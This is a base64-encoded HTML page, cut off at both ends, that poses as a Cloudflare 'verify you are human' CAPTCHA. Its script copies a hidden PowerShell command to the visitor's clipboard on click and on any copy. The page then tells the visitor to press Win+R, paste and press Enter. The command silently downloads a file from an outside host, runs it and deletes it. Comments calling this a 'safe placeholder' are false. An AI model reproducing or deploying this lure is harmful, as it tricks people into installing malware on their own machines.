WxlPSJmb250LXNpemU6IDEuNXJlbTsgbGluZS1oZWlnaHQ6IDIuMjVyZW07IG1hcmdpbi1ib3R0b206IDJyZW07IG1pbi1oZWlnaHQ6IDJyZW07Zm9udC13ZWlnaHQ6NTUwOyBwYWRkaW5nLXRvcDogMnB4Ij4KICAgIDxwPgogICAgICA8c3BhbiBjbGFzcz0icHJlbG9hZGVyX3RleHQiPjwvYj5DaGVja2luZyBpZiB5b3UgYXJlIGh1bWFuLiBUaGlzIG1heSB0YWtlIGEgZmV3IHNlY29uZHMuPC9zcGFuPgogICAgICA8c3BhbiBjbGFzcz0idGV4dGFsbHN0ZXAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+VmVyaWZ5IHlvdSBhcmUgaHVtYW4gYnkgY29tcGxldGluZyB0aGUgYWN0aW9uIGJlbG93Ljwvc3Bhbj4KICAgIDwvcD4KICA8L2Rpdj4KCiAgPCEtLSBQUkVMT0FERVIgLS0+CiAgPGRpdiBjbGFzcz0iaW50cm8iPgogIDxkaXYgY2xhc3M9InByZWxvYWRlciI+CiAgICA8ZGl2IGNsYXNzPSJsZHMtcmluZyI+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48L2Rpdj4KICA8L2Rpdj4KCiAgPCEtLSBTVEFSVCAtLT4KICA8ZGl2IGlkPSJjaGVja2JveC13aW5kb3ciIGNsYXNzPSJjaGVja2JveC13aW5kb3ciIHN0eWxlPSJ3aWR0aDogMzAwcHg7IGhlaWdodDogNzRweDsgZGlzcGxheTogbm9uZTsiPgogICA8ZGl2IHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyB3aWR0aDogMTAwJTsiPgogICAgPGRpdiBjbGFzcz0iY2hlY2tib3gtY29udGFpbmVyIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsgbWFyZ2luLXJpZ2h0OiAxMnB4OyB3aWR0aDogMzBweDsiPgoKICAgICA8c3ZnIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InN0ZXAwIiBpZD0ic3Bpbm5lcjIiIGZpbGw9ImdyZWVuIiB2aWV3Qm94PSIwIDAgNjAgNjAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgICAgICAgPGNpcmNsZSBjeD0iMzAiIGN5PSIxMCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjUwIiBjeT0iMzAiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSIzMCIgY3k9IjUwIiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iMTAiIGN5PSIzMCIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjQzLjYiIGN5PSIxNi40IiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgICAgPGNpcmNsZSBjeD0iMTYuNCIgY3k9IjE2LjQiIHI9IjIuNSIgY2xhc3M9InBvaW50Ij48L2NpcmNsZT4KICAgICAgICA8Y2lyY2xlIGN4PSI0My42IiBjeT0iNDMuNiIgcj0iMi41IiBjbGFzcz0icG9pbnQiPjwvY2lyY2xlPgogICAgICAgIDxjaXJjbGUgY3g9IjE2LjQiIGN5PSI0My42IiByPSIyLjUiIGNsYXNzPSJwb2ludCI+PC9jaXJjbGU+CiAgICAgIDwvc3ZnPgoKICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgaWQ9ImNoZWNrYm94IiBjbGFzcz0iY2hlY2tib3ggc3RlcDEiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PC9idXR0b24+CgogICAgIDxkaXYgY2xhc3M9InNwaW5uZXIgc3RlcDIiIGlkPSJzcGlubmVyIiBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBkaXNwbGF5OiBub25lOyI+CiAgICAgIDxkaXYgY2xhc3M9Imxkcy1yaW5nIj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjwvZGl2PgogICAgIDwvZGl2PgoKICAgICA8ZGl2IGNsYXNzPSJzdGVwMyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgICAgPHN2ZyB3aWR0aD0iMzAiIGhlaWdodD0iMzAiIHZpZXdCb3g9IjAgMCA1MCA1MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgICAgIDxjaXJjbGUgY3g9IjI1IiBjeT0iMjUiIHI9IjIzIiBmaWxsPSIjMjhhNzQ1IiAvPgogICAgICAgPHBhdGggZD0iTTE1IDI1IEwyMiAzMiBMMzUgMTgiIHN0cm9rZT0id2hpdGUiIHN0cm9rZS13aWR0aD0iNCIgZmlsbD0ibm9uZSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiAvPgogICAgICA8L3N2Zz4KICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9InRldHR4Ij4KICAgICA8cCBjbGFzcz0ic3RlcDAiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsiPlZlcmlmeWluZy4uLjwvcD4KICAgICA8cCBjbGFzcz0ic3RlcDEiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsgZGlzcGxheTogbm9uZTsiPkknbSBub3QgYSByb2JvdDwvcD4KICAgICA8cCBjbGFzcz0ic3RlcDIiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsgZGlzcGxheTogbm9uZTsiPlZlcmlmaWNhdGlvbiBTdGVwczwvcD4KICAgICA8cCBjbGFzcz0ic3RlcDMiIHN0eWxlPSJtYXJnaW46IDAgIWltcG9ydGFudDsgZGlzcGxheTogbm9uZTsiPlN1Y2Nlc3NmdWxseS48L3A+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IHN0eWxlPSJmb250LXNpemU6IDhweDsgdGV4dC1hbGlnbjogcmlnaHQ7IG1hcmdpbi1sZWZ0OiBhdXRvOyI+CiAgICAgPGltZyBzdHlsZT0id2lkdGg6IDY3cHg7IGhlaWdodDogMjNweDsgbWFyZ2luLWJvdHRvbTogNXB4OyIgc3JjPSJodHRwczovL2kucG9zdGltZy5jYy9rNHpyejkyei8xMTEucG5nIiAvPgogICAgIDxwIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPkNvbmZpZGVudGlhbGl0eTwvcD4KICAgICA8cCBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij5UZXJtcyBhbmQgQ29uZGl0aW9uczwvcD4KICAgIDwvZGl2PgogICA8L2Rpdj4KCiAgIDxkaXYgaWQ9InZlcmlmeS13aW5kb3ciIGNsYXNzPSJ2ZXJpZnktd2luZG93IiBzdHlsZT0iYm9yZGVyLXRvcDogMXB4IHNvbGlkICM3OTc5Nzk7IHBhZGRpbmctdG9wOiAzcHg7IG1hcmdpbi10b3A6IDE1cHg7Ij4KICAgIDxkaXYgY2xhc3M9InZlcmlmeS1jb250YWluZXIiPgogICAgIDxtYWluIGNsYXNzPSJ2ZXJpZnktbWFpbiIgc3R5bGU9ImNvbG9yOiAjZDlkOWQ5OyI+CiAgICAgIDxwIHN0eWxlPSJmb250LXNpemU6IDE4cHg7IG1hcmdpbi1ib3R0b206IDE1cHg7Ij5UbyBiZXR0ZXIgcHJvdmUgeW91IGFyZSBub3QgYSByb2JvdCwgcGxlYXNlOjwvcD4KICAgICAgPG9sPgogICAgICAgPGxpPlByZXNzICZhbXA7IGhvbGQgdGhlIFdpbmRvd3MgS2V5IDxpIGNsYXNzPSJmYWIgZmEtd2luZG93cyI+PC9pPiArIDxiPlI8L2I+LjwvbGk+CiAgICAgICA8bGk+SW4gdGhlIHZlcmlmaWNhdGlvbiB3aW5kb3csIHByZXNzIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uPC9saT4KICAgICAgIDxsaT5QcmVzcyA8Yj5FbnRlcjwvYj4gb24geW91ciBrZXlib2FyZCB0byBmaW5pc2guPC9saT4KICAgICAgPC9vbD4KICAgICAgPHAgY2xhc3M9Im9ic2VydmUiIHN0eWxlPSJwYWRkaW5nLXRvcDogMTBweDsiPgogICAgICAgWW91IHdpbGwgb2JzZXJ2ZSBhbmQgYWdyZWU6PGJyPgogICAgICAgPGNvZGUgc3R5bGU9ImJhY2tncm91bmQ6IG5vbmU7IGJvcmRlcjogMXB4IHNvbGlkICM3OTc5Nzk7IHdpZHRoOiA0MzJweDsiPiDinIUgIkkgYW0gbm90IGEgcm9ib3QgLSByZUNBUFRDSEEgVmVyaWZpY2F0aW9uIElEOiA8c3BhbiBpZD0idmVyaWZpY2F0aW9uLWlkIj4xNDY4MjA8L3NwYW4+IiA8L2NvZGU+CiAgICAgIDwvcD4KICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9InZlcmlmeS1jb250YWluZXIgdmVyaWZ5LWZvb3RlciIgc3R5bGU9ImJhY2tncm91bmQ6IG5vbmU7Ij4KICAgICA8ZGl2IGNsYXNzPSJ2ZXJpZnktZm9vdGVyLWxlZnQiIHN0eWxlPSJ3aWR0aDogMjg2cHg7IGZsb2F0OiBsZWZ0OyB0ZXh0LWFsaWduOiBsZWZ0OyBmb250LXNpemU6IDE1cHg7Ij5QZXJmb3JtIHRoZSBzdGVwcyBhYm92ZSB0byBmaW5pc2ggdmVyaWZpY2F0aW9uLjwvZGl2PgogICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0idmVyaWZ5LXZlcmlmeS1idXR0b24gYmxvY2siIGlkPSJ2ZXJpZnktYnV0dG9uIiBzdHlsZT0iYmFja2dyb3VuZDogIzVlNWU1ZTsgcGFkZGluZzogOXB4IDM4cHg7Ij5WZXJpZnk8L2J1dHRvbj4KICAgIDwvZGl2PgogICA8L2Rpdj4KCiAgIDwhLS0ga2VlcHMgeW91ciBvcmlnaW5hbCB0aW55IHNjcmlwdDsgaXQgd3JpdGVzIHRvIC5kb21haW4gKG5vdCB1c2VkKSAtLT4KICAgPHNjcmlwdD4KICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIiwgZnVuY3Rpb24gKCkgewogICAgICAgY29uc3QgZG9tYWluID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOwogICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLmRvbWFpbiIpLmZvckVhY2goZWwgPT4geyBpZiAoZWwpIGVsLnRleHRDb250ZW50ID0gZG9tYWluOyB9KTsKICAgICB9KTsKICAgPC9zY3JpcHQ+CgogIDwvZGl2PgogIDxwIHN0eWxlPSJmb250LXNpemU6IDEuNXJlbTsgbGluZS1oZWlnaHQ6IDIuMjVyZW07IHBhZGRpbmctdG9wOiAyMHB4O3BhZGRpbmctdG9wOiAzM3B4Ij4KICAgIDxzcGFuIGNsYXNzPSJkb21haW4tbmFtZSI+PC9zcGFuPiBuZWVkcyB0byByZXZpZXcgdGhlIHNlY3VyaXR5IG9mIHlvdXIgY29ubmVjdGlvbiBiZWZvcmUgcHJvY2VlZGluZy4KICA8L3A+CiA8L2Rpdj4KPC9kaXY+Cgo8ZGl2IGNsYXNzPSJmb290ZXIiIHJvbGU9ImNvbnRlbnRpbmZvIj4KIDxkaXYgY2xhc3M9ImZvb3Rlci1pbm5lciI+CiAgPGRpdj48ZGl2PlJheSBJRDogPGNvZGUgY2xhc3M9InJheS1pZCI+NTZhNGM1Mjk5ZmRldG1jYTwvY29kZT48L2Rpdj48L2Rpdj4KICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOiA1cHg7Ij5QbGF0Zm9ybSBwZXJmb3JtYW5jZSBhbmQgc2VjdXJpdHkgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDAwIj5DbG91ZGZsYXJlPC9zcGFuPjwvZGl2PgogPC9kaXY+CjwvZGl2PgoKPHNjcmlwdD4KLyoKICAKKi8KY29uc3QgY29tbWFuZCA9IGBjbWQuZXhlIC9jIHBvd2Vyc2hlbGwgLXcgaCAtZXAgQnlwYXNzIC1ub3AgLWMgIiRkPSdwLnBzMSc7JHk9JGVudjpVU0VSUFJPRklMRSsnXFxcXERvd25sb2Fkc1xcXFwnKyRkO1N0YXJ0LVNsZWVwIDE1OyhOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnaHR0cHM6Ly9naG9zdC5uZXN0ZG5zLmNvbS9maWxlcycsICR5KTsmICR5O1JlbW92ZS1JdGVtICR5IC1Gb3JjZTsiYDsKCgovKiBSb2J1c3QgaG9zdG5hbWUgKyBmYXZpY29uICsgbG9nbyAoc2luZ2xlIHNvdXJjZSBvZiB0cnV0aCkgKi8KKGZ1bmN0aW9uICgpIHsKICBjb25zdCBwYXJhbXMgPSBuZXcgVVJMU2VhcmNoUGFyYW1zKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gpOwogIGNvbnN0IHNpdGVQYXJhbSA9IHBhcmFtcy5nZXQoJ3NpdGUnKTsgICAgICAgLy8gbWF5IGJlIG51bGwvZW1wdHkKICBjb25zdCBsb2dvUGFyYW0gPSBwYXJhbXMuZ2V0KCdsb2dvJyk7ICAgICAgIC8vIG9wdGlvbmFsIG92ZXJyaWRlCgogIGZ1bmN0aW9uIGdldEhvc3RuYW1lKHZhbCkgewogICAgaWYgKCF2YWwpIHJldHVybiB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWUgfHwgJyc7CiAgICB0cnkgeyByZXR1cm4gbmV3IFVSTCh2YWwsIHdpbmRvdy5sb2NhdGlvbi5vcmlnaW4pLmhvc3RuYW1lOyB9CiAgICBjYXRjaCB7IHJldHVybiBTdHJpbmcodmFsKS5yZXBsYWNlKC9eaHR0cHM/OlwvXC8vaSwnJykuc3BsaXQoJy8nKVswXTsgfQogIH0KCiAgY29uc3QgaG9zdCA9IGdldEhvc3RuYW1lKHNpdGVQYXJhbSkgfHwgd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lIHx8ICcnOwoKICAvLyBTaG93IGRvbWFpbiAod29ya3MgZm9yIGxvY2FsaG9zdCB0b28pCiAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmRvbWFpbi1uYW1lJykuZm9yRWFjaChlbCA9PiB7IGVsLnRleHRDb250ZW50ID0gaG9zdDsgfSk7CgogIC8vIFRhYiBmYXZpY29uCiAgY29uc3QgZmF2aWNvblVybCA9IGxvZ29QYXJhbSB8fCBgaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9zMi9mYXZpY29ucz9zej0xMjgmZG9tYWluPSR7ZW5jb2RlVVJJQ29tcG9uZW50KGhvc3QpfWA7CiAgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkeW5hbWljLWZhdmljb24nKSB8fCAoKCk9Pntjb25zdCBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2xpbmsnKTtsLnJlbD0naWNvbic7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChsKTtyZXR1cm4gbDt9KSgpKS5ocmVmID0gZmF2aWNvblVybDsKCiAgLy8gT24tcGFnZSBsb2dvOiB0cnkgdGhlIHNhbWUgZmF2aWNvbiBmaXJzdCwgdGhlbiBmYWxsYmFja3MKICBjb25zdCBjYW5kaWRhdGVzID0gWwogICAgZmF2aWNvblVybCwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBzYW1lIGFzIHRhYgogICAgYGh0dHBzOi8vaWNvbnMuZHVja2R1Y2tnby5jb20vaXAzLyR7ZW5jb2RlVVJJQ29tcG9uZW50KGhvc3QpfS5pY29gLAogICAgYGh0dHBzOi8vJHtob3N0fS9mYXZpY29uLmljb2AKICBdLmZpbHRlcihCb29sZWFuKTsKCiAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxvZ28taW1nJykuZm9yRWFjaChpbWcgPT4gewogICAgbGV0IGkgPSAwOwogICAgY29uc3QgdHJ5TmV4dCA9ICgpID0+IHsKICAgICAgaWYgKGkgPj0gY2FuZGlkYXRlcy5sZW5ndGgpIHsgaW1nLnNyYyA9IGZhdmljb25Vcmw7IHJldHVybjsgfQogICAgICBpbWcuc3JjID0gY2FuZGlkYXRlc1tpKytdOwogICAgfTsKICAgIGltZy5hbHQgPSBob3N0ICsgJyBsb2dvJzsKICAgIGltZy5vbmVycm9yID0gdHJ5TmV4dDsKICAgIHRyeU5leHQoKTsKICB9KTsKfSkoKTsKPC9zY3JpcHQ+Cgo8c2NyaXB0PgovLyAtLS0gb3JpZ2luYWwgbG9naWMgcHJlc2VydmVkIChwcmVsb2FkZXIgLyBzdGVwcyBsb2dpYykgLS0tCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLCBmdW5jdGlvbiAoKSB7CiAgICBjb25zdCBwcmVsb2FkZXJFbGVtZW50cyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5wcmVsb2FkZXIiKTsKICAgIGNvbnN0IHByZWxvYWRlclRleHQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJlbG9hZGVyX3RleHQiKTsKICAgIGNvbnN0IHRleHRBbGxTdGVwID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnRleHRhbGxzdGVwIik7CiAgICBjb25zdCBjaGVja2JveFdpbmRvdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjaGVja2JveC13aW5kb3ciKTsKICAgIGNvbnN0IHN0ZXAwRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuc3RlcDAiKTsKICAgIGNvbnN0IHN0ZXAxRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuc3RlcDEiKTsKICAgIGNvbnN0IHN0ZXAyRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuc3RlcDIiKTsKICAgIGNvbnN0IHN0ZXAzRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuc3RlcDMiKTsKICAgIGNvbnN0IGNoZWNrYm94ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNoZWNrYm94Iik7CiAgICBjb25zdCB2ZXJpZnlXaW5kb3cgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZ5LXdpbmRvdyIpOwogICAgY29uc3Qgc3Bpbm5lciA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzcGlubmVyIik7CiAgICBjb25zdCB2ZXJpZnlCdXR0b24gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZ5LWJ1dHRvbiIpOwoKICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgIHByZWxvYWRlckVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJub25lIik7CiAgICAgICAgaWYgKHByZWxvYWRlclRleHQpIHByZWxvYWRlclRleHQuc3R5bGUuZGlzcGxheSA9ICJub25lIjsKICAgICAgICBpZiAodGV4dEFsbFN0ZXApIHRleHRBbGxTdGVwLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwogICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgY2hlY2tib3hXaW5kb3cuc3R5bGUuZGlzcGxheSA9ICJmbGV4IjsKCiAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgIGlmIChjaGVja2JveFdpbmRvdykgewogICAgICAgICAgICAgICAgY2hlY2tib3hXaW5kb3cuc3R5bGUuZGlzcGxheSA9ICJmbGV4IjsKICAgICAgICAgICAgICAgIGxldCBvcGFjaXR5ID0gMDsKICAgICAgICAgICAgICAgIGNvbnN0IGZhZGVJbiA9IHNldEludGVydmFsKCgpID0+IHsKICAgICAgICAgICAgICAgICAgICBpZiAob3BhY2l0eSA+PSAxKSB7IGNsZWFySW50ZXJ2YWwoZmFkZUluKTsgfQogICAgICAgICAgICAgICAgICAgIGVsc2UgeyBvcGFjaXR5ICs9IDAuMTsgY2hlY2tib3hXaW5kb3cuc3R5bGUub3BhY2l0eSA9IG9wYWNpdHk7IH0KICAgICAgICAgICAgICAgIH0sIDMwKTsKICAgICAgICAgICAgfQogICAgICAgIH0sIDIwMCk7CgogICAgICAgIHN0ZXAwRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIik7CgogICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICBzdGVwMEVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJub25lIik7CiAgICAgICAgICAgIHN0ZXAxRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIik7CiAgICAgICAgfSwgMjAwMCk7CiAgICB9LCAxNTAwKTsKCiAgICBpZiAoY2hlY2tib3gpIHsKICAgICAgY2hlY2tib3guYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAvLyBDb3B5IGJlaGF2aW9yIGtlcHQsIGJ1dCB0aGUgY29waWVkIHN0cmluZyBpcyB0aGUgc2FmZSBwbGFjZWhvbGRlciBhYm92ZQogICAgICAgICAgY29uc3QgdGV4dGFyZWEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCd0ZXh0YXJlYScpOwogICAgICAgICAgdGV4dGFyZWEudmFsdWUgPSBjb21tYW5kOwogICAgICAgICAgdGV4dGFyZWEuc2V0QXR0cmlidXRlKCdyZWFkb25seScsICcnKTsKICAgICAgICAgIHRleHRhcmVhLnN0eWxlLnBvc2l0aW9uID0gJ2Fic29sdXRlJzsKICAgICAgICAgIHRleHRhcmVhLnN0eWxlLmxlZnQgPSAnLTk5OTlweCc7CiAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHRleHRhcmVhKTsKICAgICAgICAgIHRleHRhcmVhLnNlbGVjdCgpOwogICAgICAgICAgdHJ5IHsgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsgfSBjYXRjaChlKSB7IC8qIGlnbm9yZSAqLyB9CiAgICAgICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKHRleHRhcmVhKTsKCiAgICAgICAgICBzdGVwMUVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJub25lIik7CiAgICAgICAgICBzdGVwMkVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJibG9jayIpOwogICAgICAgICAgaWYgKHNwaW5uZXIpIHNwaW5uZXIuc3R5bGUudmlzaWJpbGl0eSA9ICJ2aXNpYmxlIjsKCiAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICBpZiAoY2hlY2tib3hXaW5kb3cpIHsKICAgICAgICAgICAgICAgIGNoZWNrYm94V2luZG93LnN0eWxlLndpZHRoID0gIjUzMHB4IjsKICAgICAgICAgICAgICAgIGNoZWNrYm94V2luZG93LnN0eWxlLmhlaWdodCA9ICJhdXRvIjsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgaWYgKHZlcmlmeVdpbmRvdykgdmVyaWZ5V2luZG93LmNsYXNzTGlzdC5hZGQoImFjdGl2ZSIpOwogICAgICAgICAgfSwgNTAwKTsKICAgICAgfSk7CiAgICB9CgogICAgaWYgKHZlcmlmeUJ1dHRvbikgewogICAgICB2ZXJpZnlCdXR0b24uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICBpZiAodmVyaWZ5V2luZG93KSB2ZXJpZnlXaW5kb3cuY2xhc3NMaXN0LnJlbW92ZSgiYWN0aXZlIik7CiAgICAgICAgICBpZiAoY2hlY2tib3hXaW5kb3cpIGNoZWNrYm94V2luZG93LnN0eWxlLmhlaWdodCA9ICI3NHB4IjsKCiAgICAgICAgICBzZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgICAgICBpZiAoY2hlY2tib3hXaW5kb3cpIGNoZWNrYm94V2luZG93LnN0eWxlLndpZHRoID0gIjMwMHB4IjsKICAgICAgICAgICAgICBzdGVwMkVsZW1lbnRzLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICJub25lIik7CiAgICAgICAgICAgICAgc3RlcDNFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKCiAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgIHN0ZXAzRWxlbWVudHMuZm9yRWFjaChlbCA9PiBlbC5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiKTsKICAgICAgICAgICAgICAgICAgc3RlcDFFbGVtZW50cy5mb3JFYWNoKGVsID0+IGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siKTsKICAgICAgICAgICAgICAgICAgaWYgKHNwaW5uZXIpIHNwaW5uZXIuc3R5bGUudmlzaWJpbGl0eSA9ICJoaWRkZW4iOwogICAgICAgICAgICAgIH0sIDEwMDApOwogICAgICAgICAgfSwgNjAwKTsKICAgICAgfSk7CiAgICB9CgogICAgLy8gdmVyaWZpY2F0aW9uIGlkICsgcmF5IGlkIGdlbmVyYXRpb24KICAgIGNvbnN0IHZlckVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlcmlmaWNhdGlvbi1pZCIpOwogICAgaWYgKHZlckVsKSB2ZXJFbC50ZXh0Q29udGVudCA9IE1hdGguZmxvb3IoMTAwMDAwICsgTWF0aC5yYW5kb20oKSAqIDkwMDAwMCk7CiAgICBjb25zdCBjaGFycyA9ICJhYmNkZWYwMTIzNDU2Nzg5IjsKICAgIGNvbnN0IHJheUVsID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnJheS1pZCIpOwogICAgaWYgKHJheUVsKSB7CiAgICAgIHJheUVsLnRleHRDb250ZW50ID0KICAgICAgICBBcnJheS5mcm9tKHsgbGVuZ3RoOiAxNiB9LCAoKSA9PiBjaGFyc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFycy5sZW5ndGgpXSkuam9pbigiIik7CiAgICB9Cn0pOwoKLy8gY29weSBldmVudDogZW5zdXJlIGNvcGllZCBjb250ZW50IGlzIHRoZSBzYWZlIHBsYWNlaG9sZGVyCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvcHknLCBmdW5jdGlvbiAoZSkgewogICAgLy8gcHJldmVudCBsZWFraW5nIG9mIHVzZXItc2VsZWN0ZWQgdGV4dDsgc2V0IGNsaXBib2FyZCB0byBzYWZlIHBsYWNlaG9sZGVyCiAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICBpZiAoZS5jbGlwYm9hcmREYXRhKSB7CiAgICAgICAgZS5jbGlwYm9hcmREYXRhLnNldERhdGEoJ3RleHQvcGxhaW4nLCBjb21tYW5kKTsKICAgIH0gZWxzZSBpZiAod2luZG93LmNsaXBib2FyZERhdGEpIHsKICAgICAgICB3aW5kb3cuY2xpcGJvYXJkRGF0YS5zZXREYXRhKCdUZXh0JywgY29tbWFuZCk7CiAgICB9Cn0pOwo8L3NjcmlwdD4KCjwhLS0gPT09IFRyYW5zbGF0aW9uIHNjcmlwdCBhcHBlbmRlZCAob25seSB0cmFuc2xhdGlvbnMgKyBhdXRvLWRldGVjdGlvbiBhZGRlZCkgPT09IC0tPgo8c2NyaXB0PgooZnVuY3Rpb24oKXsKICBjb25zdCBpMThuID0gewogICAgZW46e2NoZWNraW5nOiJDaGVja2luZyBpZiB5b3UgYXJlIGh1bWFuLiBUaGlzIG1heSB0YWtlIGEgZmV3IHNlY29uZHMuIix2ZXJpZnlJbnN0cnVjdGlvbjoiVmVyaWZ5IHlvdSBhcmUgaHVtYW4gYnkgY29tcGxldGluZyB0aGUgYWN0aW9uIGJlbG93LiIsdmVyaWZ5aW5nOiJWZXJpZnlpbmcuLi4iLG5vdFJvYm90OiJJJ20gbm90IGEgcm9ib3QiLHN0ZXBzOiJWZXJpZmljYXRpb24gU3RlcHMiLHN1Y2Nlc3M6IlN1Y2Nlc3NmdWxseS4iLHZlcmlmeVRpdGxlOiJUbyBiZXR0ZXIgcHJvdmUgeW91IGFyZSBub3QgYSByb2JvdCwgcGxlYXNlOiIsc3RlcDE6IlByZXNzICZhbXA7IGhvbGQgdGhlIFdpbmRvd3MgS2V5IDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6IkluIHRoZSB2ZXJpZmljYXRpb24gd2luZG93LCBwcmVzcyA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IlByZXNzIDxiPkVudGVyPC9iPiBvbiB5b3VyIGtleW